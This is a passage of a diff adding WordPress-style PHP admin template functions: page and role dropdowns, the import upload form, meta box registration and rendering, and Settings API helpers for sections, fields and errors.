+		$cur_timeunit = 'cur_' . $timeunit;
+		echo '<input type="hidden" id="' . $cur_timeunit . '" name="' . $cur_timeunit . '" value="' . $curr . '" />' . "\n";
+	}
+?>
+
+<p>
+<a href="#edit_timestamp" class="save-timestamp hide-if-no-js button"><?php _e('OK'); ?></a>
+<a href="#edit_timestamp" class="cancel-timestamp hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a>
+</p>
+<?php
+}
+
+/**
+ * Print out option HTML elements for the page templates drop-down.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 Added the `$post_type` parameter.
+ *
+ * @param string $default   Optional. The template file name. Default empty.
+ * @param string $post_type Optional. Post type to get templates for. Default 'post'.
+ */
+function page_template_dropdown( $default = '', $post_type = 'page' ) {
+	$templates = get_page_templates( null, $post_type );
+	ksort( $templates );
+	foreach ( array_keys( $templates ) as $template ) {
+		$selected = selected( $default, $templates[ $template ], false );
+		echo "\n\t<option value='" . esc_attr( $templates[ $template ] ) . "' $selected>" . esc_html( $template ) . "</option>";
+	}
+}
+
+/**
+ * Print out option HTML elements for the page parents drop-down.
+ *
+ * @since 1.5.0
+ * @since 4.4.0 `$post` argument was added.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int         $default Optional. The default page ID to be pre-selected. Default 0.
+ * @param int         $parent  Optional. The parent page ID. Default 0.
+ * @param int         $level   Optional. Page depth level. Default 0.
+ * @param int|WP_Post $post    Post ID or WP_Post object.
+ *
+ * @return null|false Boolean False if page has no children, otherwise print out html elements
+ */
+function parent_dropdown( $default = 0, $parent = 0, $level = 0, $post = null ) {
+	global $wpdb;
+	$post = get_post( $post );
+	$items = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_parent, post_title FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' ORDER BY menu_order", $parent) );
+
+	if ( $items ) {
+		foreach ( $items as $item ) {
+			// A page cannot be its own parent.
+			if ( $post && $post->ID && $item->ID == $post->ID )
+				continue;
+
+			$pad = str_repeat( '&nbsp;', $level * 3 );
+			$selected = selected( $default, $item->ID, false );
+
+			echo "\n\t<option class='level-$level' value='$item->ID' $selected>$pad " . esc_html($item->post_title) . "</option>";
+			parent_dropdown( $default, $item->ID, $level +1 );
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Print out option html elements for role selectors.
+ *
+ * @since 2.1.0
+ *
+ * @param string $selected Slug for the role that should be already selected.
+ */
+function wp_dropdown_roles( $selected = '' ) {
+	$r = '';
+
+	$editable_roles = array_reverse( get_editable_roles() );
+
+	foreach ( $editable_roles as $role => $details ) {
+		$name = translate_user_role($details['name'] );
+		// preselect specified role
+		if ( $selected == $role ) {
+			$r .= "\n\t<option selected='selected' value='" . esc_attr( $role ) . "'>$name</option>";
+		} else {
+			$r .= "\n\t<option value='" . esc_attr( $role ) . "'>$name</option>";
+		}
+	}
+
+	echo $r;
+}
+
+/**
+ * Outputs the form used by the importers to accept the data to be imported
+ *
+ * @since 2.0.0
+ *
+ * @param string $action The action attribute for the form.
+ */
+function wp_import_upload_form( $action ) {
+
+	/**
+	 * Filters the maximum allowed upload size for import files.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @see wp_max_upload_size()
+	 *
+	 * @param int $max_upload_size Allowed upload size. Default 1 MB.
+	 */
+	$bytes = apply_filters( 'import_upload_size_limit', wp_max_upload_size() );
+	$size = size_format( $bytes );
+	$upload_dir = wp_upload_dir();
+	if ( ! empty( $upload_dir['error'] ) ) :
+		?><div class="error"><p><?php _e('Before you can upload your import file, you will need to fix the following error:'); ?></p>
+		<p><strong><?php echo $upload_dir['error']; ?></strong></p></div><?php
+	else :
+?>
+<form enctype="multipart/form-data" id="import-upload-form" method="post" class="wp-upload-form" action="<?php echo esc_url( wp_nonce_url( $action, 'import-upload' ) ); ?>">
+<p>
+<label for="upload"><?php _e( 'Choose a file from your computer:' ); ?></label> (<?php printf( __('Maximum size: %s' ), $size ); ?>)
+<input type="file" id="upload" name="import" size="25" />
+<input type="hidden" name="action" value="save" />
+<input type="hidden" name="max_file_size" value="<?php echo $bytes; ?>" />
+</p>
+<?php submit_button( __('Upload file and import'), 'primary' ); ?>
+</form>
+<?php
+	endif;
+}
+
+/**
+ * Adds a meta box to one or more screens.
+ *
+ * @since 2.5.0
+ * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
+ *
+ * @global array $wp_meta_boxes
+ *
+ * @param string                 $id            Meta box ID (used in the 'id' attribute for the meta box).
+ * @param string                 $title         Title of the meta box.
+ * @param callable               $callback      Function that fills the box with the desired content.
+ *                                              The function should echo its output.
+ * @param string|array|WP_Screen $screen        Optional. The screen or screens on which to show the box
+ *                                              (such as a post type, 'link', or 'comment'). Accepts a single
+ *                                              screen ID, WP_Screen object, or array of screen IDs. Default
+ *                                              is the current screen.  If you have used add_menu_page() or
+ *                                              add_submenu_page() to create a new screen (and hence screen_id),
+ *                                              make sure your menu slug conforms to the limits of sanitize_key()
+ *                                              otherwise the 'screen' menu may not correctly render on your page.
+ * @param string                 $context       Optional. The context within the screen where the boxes
+ *                                              should display. Available contexts vary from screen to
+ *                                              screen. Post edit screen contexts include 'normal', 'side',
+ *                                              and 'advanced'. Comments screen contexts include 'normal'
+ *                                              and 'side'. Menus meta boxes (accordion sections) all use
+ *                                              the 'side' context. Global default is 'advanced'.
+ * @param string                 $priority      Optional. The priority within the context where the boxes
+ *                                              should show ('high', 'low'). Default 'default'.
+ * @param array                  $callback_args Optional. Data that should be set as the $args property
+ *                                              of the box array (which is the second parameter passed
+ *                                              to your callback). Default null.
+ */
+function add_meta_box( $id, $title, $callback, $screen = null, $context = 'advanced', $priority = 'default', $callback_args = null ) {
+	global $wp_meta_boxes;
+
+	if ( empty( $screen ) ) {
+		$screen = get_current_screen();
+	} elseif ( is_string( $screen ) ) {
+		$screen = convert_to_screen( $screen );
+	} elseif ( is_array( $screen ) ) {
+		foreach ( $screen as $single_screen ) {
+			add_meta_box( $id, $title, $callback, $single_screen, $context, $priority, $callback_args );
+		}
+	}
+
+	if ( ! isset( $screen->id ) ) {
+		return;
+	}
+
+	$page = $screen->id;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array_keys($wp_meta_boxes[$page]) as $a_context ) {
+		foreach ( array('high', 'core', 'default', 'low') as $a_priority ) {
+			if ( !isset($wp_meta_boxes[$page][$a_context][$a_priority][$id]) )
+				continue;
+
+			// If a core box was previously added or removed by a plugin, don't add.
+			if ( 'core' == $priority ) {
+				// If core box previously deleted, don't add
+				if ( false === $wp_meta_boxes[$page][$a_context][$a_priority][$id] )
+					return;
+
+				/*
+				 * If box was added with default priority, give it core priority to
+				 * maintain sort order.
+				 */
+				if ( 'default' == $a_priority ) {
+					$wp_meta_boxes[$page][$a_context]['core'][$id] = $wp_meta_boxes[$page][$a_context]['default'][$id];
+					unset($wp_meta_boxes[$page][$a_context]['default'][$id]);
+				}
+				return;
+			}
+			// If no priority given and id already present, use existing priority.
+			if ( empty($priority) ) {
+				$priority = $a_priority;
+			/*
+			 * Else, if we're adding to the sorted priority, we don't know the title
+			 * or callback. Grab them from the previously added context/priority.
+			 */
+			} elseif ( 'sorted' == $priority ) {
+				$title = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['title'];
+				$callback = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['callback'];
+				$callback_args = $wp_meta_boxes[$page][$a_context][$a_priority][$id]['args'];
+			}
+			// An id can be in only one priority and one context.
+			if ( $priority != $a_priority || $context != $a_context )
+				unset($wp_meta_boxes[$page][$a_context][$a_priority][$id]);
+		}
+	}
+
+	if ( empty($priority) )
+		$priority = 'low';
+
+	if ( !isset($wp_meta_boxes[$page][$context][$priority]) )
+		$wp_meta_boxes[$page][$context][$priority] = array();
+
+	$wp_meta_boxes[$page][$context][$priority][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $callback_args);
+}
+
+
+/**
+ * Function that renders a "fake" meta box with an information message,
+ * shown on the block editor, when an incompatible meta box is found.
+ *
+ * @since 5.0.0
+ *
+ * @param mixed $object The data object being rendered on this screen.
+ * @param array $box    {
+ *     Custom formats meta box arguments.
+ *
+ *     @type string   $id           Meta box 'id' attribute.
+ *     @type string   $title        Meta box title.
+ *     @type callable $old_callback The original callback for this meta box.
+ *     @type array    $args         Extra meta box arguments.
+ * }
+ */
+function do_block_editor_incompatible_meta_box( $object, $box ) {
+	$plugin  = _get_plugin_from_callback( $box['old_callback'] );
+	$plugins = get_plugins();
+	echo '<p>';
+	if ( $plugin ) {
+		/* translators: %s: the name of the plugin that generated this meta box. */
+		printf( __( "This meta box, from the %s plugin, isn't compatible with the block editor." ), "<strong>{$plugin['Name']}</strong>" );
+	} else {
+		_e( "This meta box isn't compatible with the block editor." );
+	}
+	echo '</p>';
+
+	if ( empty( $plugins['classic-editor/classic-editor.php'] ) ) {
+		if ( current_user_can( 'install_plugins' ) ) {
+			echo '<p>';
+			/* translators: %s: A link to install the Classic Editor plugin. */
+			printf( __( 'Please install the <a href="%s">Classic Editor plugin</a> to use this meta box.'), esc_url( self_admin_url( 'plugin-install.php?tab=featured' ) ) );
+			echo '</p>';
+		}
+	} elseif ( is_plugin_inactive( 'classic-editor/classic-editor.php' ) ) {
+		if ( current_user_can( 'activate_plugins' ) ) {
+			$activate_url = wp_nonce_url( self_admin_url( 'plugins.php?action=activate&plugin=classic-editor/classic-editor.php' ), 'activate-plugin_classic-editor/classic-editor.php' );
+			echo '<p>';
+			/* translators: %s: A link to activate the Classic Editor plugin. */
+			printf( __( 'Please activate the <a href="%s">Classic Editor plugin</a> to use this meta box.'), esc_url( $activate_url ) );
+			echo '</p>';
+		}
+	} elseif ( $object instanceof WP_Post ) {
+		$edit_url = add_query_arg( 'classic-editor', '', get_edit_post_link( $object ) );
+		echo '<p>';
+		/* translators: %s: An edit post link to use the classic editor. */
+		printf( __( 'Please open the <a href="%s">classic editor</a> to use this meta box.'), esc_url( $edit_url ) );
+		echo '</p>';
+	}
+}
+
+/**
+ * Internal helper function to find the plugin from a meta box callback.
+ *
+ * @since 5.0.0
+ *
+ * @access private
+ *
+ * @param callable $callback The callback function to check.
+ * @return array|null The plugin that the callback belongs to, or null if it doesn't belong to a plugin.
+ */
+function _get_plugin_from_callback( $callback ) {
+	try {
+		if ( is_array( $callback ) ) {
+			$reflection = new ReflectionMethod( $callback[0], $callback[1] );
+		} elseif ( is_string( $callback) && false !== strpos( $callback, '::' ) ) {
+			$reflection = new ReflectionMethod( $callback );
+		} else {
+			$reflection = new ReflectionFunction( $callback );
+		}
+	} catch ( ReflectionException $exception ) {
+		// We could not properly reflect on the callable, so we abort here.
+		return null;
+	}
+
+	// Don't show an error if it's an internal PHP function.
+	if ( ! $reflection->isInternal() ) {
+
+		// Only show errors if the meta box was registered by a plugin.
+		$filename = wp_normalize_path( $reflection->getFileName() );
+		$plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );
+		if ( strpos( $filename, $plugin_dir ) === 0 ) {
+			$filename = str_replace( $plugin_dir, '', $filename );
+			$filename = preg_replace( '|^/([^/]*/).*$|', '\\1', $filename );
+
+			$plugins = get_plugins();
+			foreach ( $plugins as $name => $plugin ) {
+				if ( strpos( $name, $filename ) === 0 ) {
+					return $plugin;
+				}
+			}
+		}
+	}
+
+	return null;
+}
+
+/**
+ * Meta-Box template function
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_meta_boxes
+ *
+ * @staticvar bool $already_sorted
+ *
+ * @param string|WP_Screen $screen  Screen identifier. If you have used add_menu_page() or
+ *                                  add_submenu_page() to create a new screen (and hence screen_id)
+ *                                  make sure your menu slug conforms to the limits of sanitize_key()
+ *                                  otherwise the 'screen' menu may not correctly render on your page.
+ * @param string           $context box context
+ * @param mixed            $object  gets passed to the box callback function as first parameter
+ * @return int number of meta_boxes
+ */
+function do_meta_boxes( $screen, $context, $object ) {
+	global $wp_meta_boxes;
+	static $already_sorted = false;
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	$hidden = get_hidden_meta_boxes( $screen );
+
+	printf( '<div id="%s-sortables" class="meta-box-sortables">', esc_attr( $context ) );
+
+	// Grab the ones the user has manually sorted. Pull them out of their previous context/priority and into the one the user chose
+	if ( ! $already_sorted && $sorted = get_user_option( "meta-box-order_$page" ) ) {
+		foreach ( $sorted as $box_context => $ids ) {
+			foreach ( explode( ',', $ids ) as $id ) {
+				if ( $id && 'dashboard_browser_nag' !== $id ) {
+					add_meta_box( $id, null, null, $screen, $box_context, 'sorted' );
+				}
+			}
+		}
+	}
+
+	$already_sorted = true;
+
+	$i = 0;
+
+	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
+		foreach ( array( 'high', 'sorted', 'core', 'default', 'low' ) as $priority ) {
+			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ]) ) {
+				foreach ( (array) $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
+					if ( false == $box || ! $box['title'] )
+						continue;
+
+					$block_compatible = true;
+					if ( is_array( $box[ 'args' ] ) ) {
+						// If a meta box is just here for back compat, don't show it in the block editor.
+						if ( $screen->is_block_editor() && isset( $box['args']['__back_compat_meta_box'] ) && $box['args']['__back_compat_meta_box'] ) {
+							continue;
+						}
+
+						if ( isset( $box['args']['__block_editor_compatible_meta_box'] ) ) {
+							$block_compatible = (bool) $box['args']['__block_editor_compatible_meta_box'];
+							unset( $box['args']['__block_editor_compatible_meta_box'] );
+						}
+
+						// If the meta box is declared as incompatible with the block editor, override the callback function.
+						if ( ! $block_compatible && $screen->is_block_editor() ) {
+							$box['old_callback'] = $box['callback'];
+							$box['callback']     = 'do_block_editor_incompatible_meta_box';
+						}
+
+						if ( isset( $box['args']['__back_compat_meta_box'] ) ) {
+							$block_compatible = $block_compatible || (bool) $box['args']['__back_compat_meta_box'];
+							unset( $box['args']['__back_compat_meta_box'] );
+						}
+					}
+
+					$i++;
+					// get_hidden_meta_boxes() doesn't apply in the block editor.
+					$hidden_class = ( ! $screen->is_block_editor() && in_array( $box['id'], $hidden ) ) ? ' hide-if-js' : '';
+					echo '<div id="' . $box['id'] . '" class="postbox ' . postbox_classes($box['id'], $page) . $hidden_class . '" ' . '>' . "\n";
+					if ( 'dashboard_browser_nag' != $box['id'] ) {
+						$widget_title = $box[ 'title' ];
+
+						if ( is_array( $box[ 'args' ] ) && isset( $box[ 'args' ][ '__widget_basename' ] ) ) {
+							$widget_title = $box[ 'args' ][ '__widget_basename' ];
+							// Do not pass this parameter to the user callback function.
+							unset( $box[ 'args' ][ '__widget_basename' ] );
+						}
+
+						echo '<button type="button" class="handlediv" aria-expanded="true">';
+						echo '<span class="screen-reader-text">' . sprintf( __( 'Toggle panel: %s' ), $widget_title ) . '</span>';
+						echo '<span class="toggle-indicator" aria-hidden="true"></span>';
+						echo '</button>';
+					}
+					echo "<h2 class='hndle'><span>{$box['title']}</span></h2>\n";
+					echo '<div class="inside">' . "\n";
+
+					if ( WP_DEBUG && ! $block_compatible && 'edit' === $screen->parent_base && ! $screen->is_block_editor() && ! isset( $_GET['meta-box-loader'] ) ) {
+						$plugin = _get_plugin_from_callback( $box['callback'] );
+						if ( $plugin ) {
+						?>
+							<div class="error inline">
+								<p>
+									<?php
+										/* translators: %s: the name of the plugin that generated this meta box. */
+										printf( __( "This meta box, from the %s plugin, isn't compatible with the block editor." ), "<strong>{$plugin['Name']}</strong>" );
+									?>
+								</p>
+							</div>
+						<?php
+						}
+					}
+
+					call_user_func($box['callback'], $object, $box);
+					echo "</div>\n";
+					echo "</div>\n";
+				}
+			}
+		}
+	}
+
+	echo "</div>";
+
+	return $i;
+
+}
+
+/**
+ * Removes a meta box from one or more screens.
+ *
+ * @since 2.6.0
+ * @since 4.4.0 The `$screen` parameter now accepts an array of screen IDs.
+ *
+ * @global array $wp_meta_boxes
+ *
+ * @param string                 $id      Meta box ID (used in the 'id' attribute for the meta box).
+ * @param string|array|WP_Screen $screen  The screen or screens on which the meta box is shown (such as a
+ *                                        post type, 'link', or 'comment'). Accepts a single screen ID,
+ *                                        WP_Screen object, or array of screen IDs.
+ * @param string                 $context The context within the screen where the box is set to display.
+ *                                        Contexts vary from screen to screen. Post edit screen contexts
+ *                                        include 'normal', 'side', and 'advanced'. Comments screen contexts
+ *                                        include 'normal' and 'side'. Menus meta boxes (accordion sections)
+ *                                        all use the 'side' context.
+ */
+function remove_meta_box( $id, $screen, $context ) {
+	global $wp_meta_boxes;
+
+	if ( empty( $screen ) ) {
+		$screen = get_current_screen();
+	} elseif ( is_string( $screen ) ) {
+		$screen = convert_to_screen( $screen );
+	} elseif ( is_array( $screen ) ) {
+		foreach ( $screen as $single_screen ) {
+			remove_meta_box( $id, $single_screen, $context );
+		}
+	}
+
+	if ( ! isset( $screen->id ) ) {
+		return;
+	}
+
+	$page = $screen->id;
+
+	if ( !isset($wp_meta_boxes) )
+		$wp_meta_boxes = array();
+	if ( !isset($wp_meta_boxes[$page]) )
+		$wp_meta_boxes[$page] = array();
+	if ( !isset($wp_meta_boxes[$page][$context]) )
+		$wp_meta_boxes[$page][$context] = array();
+
+	foreach ( array('high', 'core', 'default', 'low') as $priority )
+		$wp_meta_boxes[$page][$context][$priority][$id] = false;
+}
+
+/**
+ * Meta Box Accordion Template Function
+ *
+ * Largely made up of abstracted code from do_meta_boxes(), this
+ * function serves to build meta boxes as list items for display as
+ * a collapsible accordion.
+ *
+ * @since 3.6.0
+ *
+ * @uses global $wp_meta_boxes Used to retrieve registered meta boxes.
+ *
+ * @param string|object $screen  The screen identifier.
+ * @param string        $context The meta box context.
+ * @param mixed         $object  gets passed to the section callback function as first parameter.
+ * @return int number of meta boxes as accordion sections.
+ */
+function do_accordion_sections( $screen, $context, $object ) {
+	global $wp_meta_boxes;
+
+	wp_enqueue_script( 'accordion' );
+
+	if ( empty( $screen ) )
+		$screen = get_current_screen();
+	elseif ( is_string( $screen ) )
+		$screen = convert_to_screen( $screen );
+
+	$page = $screen->id;
+
+	$hidden = get_hidden_meta_boxes( $screen );
+	?>
+	<div id="side-sortables" class="accordion-container">
+		<ul class="outer-border">
+	<?php
+	$i = 0;
+	$first_open = false;
+
+	if ( isset( $wp_meta_boxes[ $page ][ $context ] ) ) {
+		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
+			if ( isset( $wp_meta_boxes[ $page ][ $context ][ $priority ] ) ) {
+				foreach ( $wp_meta_boxes[ $page ][ $context ][ $priority ] as $box ) {
+					if ( false == $box || ! $box['title'] )
+						continue;
+					$i++;
+					$hidden_class = in_array( $box['id'], $hidden ) ? 'hide-if-js' : '';
+
+					$open_class = '';
+					if ( ! $first_open && empty( $hidden_class ) ) {
+						$first_open = true;
+						$open_class = 'open';
+					}
+					?>
+					<li class="control-section accordion-section <?php echo $hidden_class; ?> <?php echo $open_class; ?> <?php echo esc_attr( $box['id'] ); ?>" id="<?php echo esc_attr( $box['id'] ); ?>">
+						<h3 class="accordion-section-title hndle" tabindex="0">
+							<?php echo esc_html( $box['title'] ); ?>
+							<span class="screen-reader-text"><?php _e( 'Press return or enter to open this section' ); ?></span>
+						</h3>
+						<div class="accordion-section-content <?php postbox_classes( $box['id'], $page ); ?>">
+							<div class="inside">
+								<?php call_user_func( $box['callback'], $object, $box ); ?>
+							</div><!-- .inside -->
+						</div><!-- .accordion-section-content -->
+					</li><!-- .accordion-section -->
+					<?php
+				}
+			}
+		}
+	}
+	?>
+		</ul><!-- .outer-border -->
+	</div><!-- .accordion-container -->
+	<?php
+	return $i;
+}
+
+/**
+ * Add a new section to a settings page.
+ *
+ * Part of the Settings API. Use this to define new settings sections for an admin page.
+ * Show settings sections in your admin page callback function with do_settings_sections().
+ * Add settings fields to your section with add_settings_field()
+ *
+ * The $callback argument should be the name of a function that echoes out any
+ * content you want to show at the top of the settings section before the actual
+ * fields. It can output nothing if you want.
+ *
+ * @since 2.7.0
+ *
+ * @global $wp_settings_sections Storage array of all settings sections added to admin pages
+ *
+ * @param string   $id       Slug-name to identify the section. Used in the 'id' attribute of tags.
+ * @param string   $title    Formatted title of the section. Shown as the heading for the section.
+ * @param callable $callback Function that echos out any content at the top of the section (between heading and fields).
+ * @param string   $page     The slug-name of the settings page on which to show the section. Built-in pages include
+ *                           'general', 'reading', 'writing', 'discussion', 'media', etc. Create your own using
+ *                           add_options_page();
+ */
+function add_settings_section($id, $title, $callback, $page) {
+	global $wp_settings_sections;
+
+	if ( 'misc' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: %s: misc */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'misc'
+			)
+		);
+		$page = 'general';
+	}
+
+	if ( 'privacy' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.5.0',
+			/* translators: %s: privacy */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'privacy'
+			)
+		);
+		$page = 'reading';
+	}
+
+	$wp_settings_sections[$page][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback);
+}
+
+/**
+ * Add a new field to a section of a settings page
+ *
+ * Part of the Settings API. Use this to define a settings field that will show
+ * as part of a settings section inside a settings page. The fields are shown using
+ * do_settings_fields() in do_settings-sections()
+ *
+ * The $callback argument should be the name of a function that echoes out the
+ * html input tags for this setting field. Use get_option() to retrieve existing
+ * values to show.
+ *
+ * @since 2.7.0
+ * @since 4.2.0 The `$class` argument was added.
+ *
+ * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections
+ *
+ * @param string   $id       Slug-name to identify the field. Used in the 'id' attribute of tags.
+ * @param string   $title    Formatted title of the field. Shown as the label for the field
+ *                           during output.
+ * @param callable $callback Function that fills the field with the desired form inputs. The
+ *                           function should echo its output.
+ * @param string   $page     The slug-name of the settings page on which to show the section
+ *                           (general, reading, writing, ...).
+ * @param string   $section  Optional. The slug-name of the section of the settings page
+ *                           in which to show the box. Default 'default'.
+ * @param array    $args {
+ *     Optional. Extra arguments used when outputting the field.
+ *
+ *     @type string $label_for When supplied, the setting title will be wrapped
+ *                             in a `<label>` element, its `for` attribute populated
+ *                             with this value.
+ *     @type string $class     CSS Class to be added to the `<tr>` element when the
+ *                             field is output.
+ * }
+ */
+function add_settings_field($id, $title, $callback, $page, $section = 'default', $args = array()) {
+	global $wp_settings_fields;
+
+	if ( 'misc' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.0.0',
+			/* translators: %s: misc */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'misc'
+			)
+		);
+		$page = 'general';
+	}
+
+	if ( 'privacy' == $page ) {
+		_deprecated_argument( __FUNCTION__, '3.5.0',
+			/* translators: %s: privacy */
+			sprintf( __( 'The "%s" options group has been removed. Use another settings group.' ),
+				'privacy'
+			)
+		);
+		$page = 'reading';
+	}
+
+	$wp_settings_fields[$page][$section][$id] = array('id' => $id, 'title' => $title, 'callback' => $callback, 'args' => $args);
+}
+
+/**
+ * Prints out all settings sections added to a particular settings page
+ *
+ * Part of the Settings API. Use this in a settings page callback function
+ * to output all the sections and fields that were added to that $page with
+ * add_settings_section() and add_settings_field()
+ *
+ * @global $wp_settings_sections Storage array of all settings sections added to admin pages
+ * @global $wp_settings_fields Storage array of settings fields and info about their pages/sections
+ * @since 2.7.0
+ *
+ * @param string $page The slug name of the page whose settings sections you want to output
+ */
+function do_settings_sections( $page ) {
+	global $wp_settings_sections, $wp_settings_fields;
+
+	if ( ! isset( $wp_settings_sections[$page] ) )
+		return;
+
+	foreach ( (array) $wp_settings_sections[$page] as $section ) {
+		if ( $section['title'] )
+			echo "<h2>{$section['title']}</h2>\n";
+
+		if ( $section['callback'] )
+			call_user_func( $section['callback'], $section );
+
+		if ( ! isset( $wp_settings_fields ) || !isset( $wp_settings_fields[$page] ) || !isset( $wp_settings_fields[$page][$section['id']] ) )
+			continue;
+		echo '<table class="form-table">';
+		do_settings_fields( $page, $section['id'] );
+		echo '</table>';
+	}
+}
+
+/**
+ * Print out the settings fields for a particular settings section
+ *
+ * Part of the Settings API. Use this in a settings page to output
+ * a specific section. Should normally be called by do_settings_sections()
+ * rather than directly.
+ *
+ * @global $wp_settings_fields Storage array of settings fields and their pages/sections
+ *
+ * @since 2.7.0
+ *
+ * @param string $page Slug title of the admin page who's settings fields you want to show.
+ * @param string $section Slug title of the settings section who's fields you want to show.
+ */
+function do_settings_fields($page, $section) {
+	global $wp_settings_fields;
+
+	if ( ! isset( $wp_settings_fields[$page][$section] ) )
+		return;
+
+	foreach ( (array) $wp_settings_fields[$page][$section] as $field ) {
+		$class = '';
+
+		if ( ! empty( $field['args']['class'] ) ) {
+			$class = ' class="' . esc_attr( $field['args']['class'] ) . '"';
+		}
+
+		echo "<tr{$class}>";
+
+		if ( ! empty( $field['args']['label_for'] ) ) {
+			echo '<th scope="row"><label for="' . esc_attr( $field['args']['label_for'] ) . '">' . $field['title'] . '</label></th>';
+		} else {
+			echo '<th scope="row">' . $field['title'] . '</th>';
+		}
+
+		echo '<td>';
+		call_user_func($field['callback'], $field['args']);
+		echo '</td>';
+		echo '</tr>';
+	}
+}
+
+/**
+ * Register a settings error to be displayed to the user
+ *
+ * Part of the Settings API. Use this to show messages to users about settings validation
+ * problems, missing settings or anything else.
+ *
+ * Settings errors should be added inside the $sanitize_callback function defined in
+ * register_setting() for a given setting to give feedback about the submission.
+ *
+ * By default messages will show immediately after the submission that generated the error.
+ * Additional calls to settings_errors() can be used to show errors even when the settings
+ * page is first accessed.
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_settings_errors Storage array of errors registered during this pageload
+ *
+ * @param string $setting Slug title of the setting to which this error applies
+ * @param string $code    Slug-name to identify the error. Used as part of 'id' attribute in HTML output.
+ * @param string $message The formatted message text to display to the user (will be shown inside styled
+ *                        `<div>` and `<p>` tags).
+ * @param string $type    Optional. Message type, controls HTML class. Accepts 'error' or 'updated'.
+ *                        Default 'error'.
+ */
+function add_settings_error( $setting, $code, $message, $type = 'error' ) {
+	global $wp_settings_errors;
+
+	$wp_settings_errors[] = array(
+		'setting' => $setting,
+		'code'    => $code,
+		'message' => $message,
+		'type'    => $type
+	);
+}
+
+/**
+ * Fetch settings errors registered by add_settings_error()
+ *
+ * Checks the $wp_settings_errors array for any errors declared during the current
+ * pageload and returns them.
+ *
+ * If changes were just submitted ($_GET['settings-updated']) and settings errors were saved
+ * to the 'settings_errors' transient then those errors will be returned instead. This
+ * is used to pass errors back across pageloads.
+ *
+ * Use the $sanitize argument to manually re-sanitize the option before returning errors.
+ * This is useful if you have errors or notices you want to show even when the user
+ * hasn't submitted data (i.e. when they first load an options page, or in the {@see 'admin_notices'}
+ * action hook).
+ *
+ * @since 3.0.0
+ *
+ * @global array $wp_settings_errors Storage array of errors registered during this pageload
+ *
+ * @param string $setting Optional slug title of a specific setting who's errors you want.
+ * @param boolean $sanitize Whether to re-sanitize the setting value before returning errors.
+ * @return array Array of settings errors
+ */
+function get_settings_errors( $setting = '', $sanitize = false ) {
+	global $wp_settings_errors;
+
+	/*
+	 * If $sanitize is true, manually re-run the sanitization for this option
+	 * This allows the $sanitize_callback from register_setting() to run, adding
+	 * any settings errors you want to show by default.
+	 */
+	if ( $sanitize )
+		sanitize_option( $setting, get_option( $setting ) );
+
+	// If settings were passed back from options.php then use them.
+	if ( isset( $_GET['settings-updated'] ) && $_GET['settings-updated'] && get_transient( 'settings_errors' ) ) {
+		$wp_settings_errors = array_merge( (array) $wp_settings_errors, get_transient( 'settings_errors' ) );
+		delete_transient( 'settings_errors' );
+	}
+
+	// Check global in case errors have been added on this pageload.
+	if ( empty( $wp_settings_errors ) ) {
+		return array();
+	}
+
+	// Filter the results to those of a specific setting if one was set.
+	if ( $setting ) {
+		$setting_errors = array();
+		foreach ( (array) $wp_settings_errors as $key => $details ) {
+			if ( $setting == $details['setting'] )
+				$setting_errors[] = $wp_settings_errors[$key];
+		}
+		return $setting_errors;
+	}
+
+	return $wp_settings_errors;
+}
+
+/**
+ * Display settings errors registered by add_settings_error().
+ *
+ * Part of the Settings API. Outputs a div for each error retrieved by
+ * get_settings_errors().
+ *
+ * This is called automatically after a settings page based on the
+ * Settings API is submitted. Errors should be added during the validation
+ * callback function for a setting defined in register_setting().
+ *
+ * The $sanitize option is passed into get_settings_errors() and will
+ * re-run the setting sanitization
+ * on its current value.
+ *
+ * The $hide_on_update option will cause errors to only show when the settings
+ * page is first loaded. if the user has already saved new values it will be
+ * hidden to avoid repeating messages already shown in the default error
+ * reporting after submission. This is useful to show general errors like
+ * missing settings when the user arrives at the settings page.
+ *
+ * @since 3.0.0
+ *
+ * @param string $setting        Optional slug title of a specific setting who's errors you want.
+ * @param bool   $sanitize       Whether to re-sanitize the setting value before returning errors.
+ * @param bool   $hide_on_update If set to true errors will not be shown if the settings page has
+ *                               already been submitted.
+ */
+function settings_errors( $setting = '', $sanitize = false, $hide_on_update = false ) {
+
+	if ( $hide_on_update && ! empty( $_GET['settings-updated'] ) )
+		return;
+
+	$settings_errors = get_settings_errors( $setting, $sanitize );
+
+	if ( empty( $settings_errors ) )
+		return;
+
+	$output = '';
+	foreach ( $settings_errors as $key => $details ) {
+		$css_id = 'setting-error-' . $details['code'];
+		$css_class = $details['type'] . ' settings-error notice is-dismissible';
+		$output .= "<div id='$css_id' class='$css_class'> \n";
+		$output .= "<p><strong>{$details['message']}</strong></p>";
+		$output .= "</div> \n";
+	}
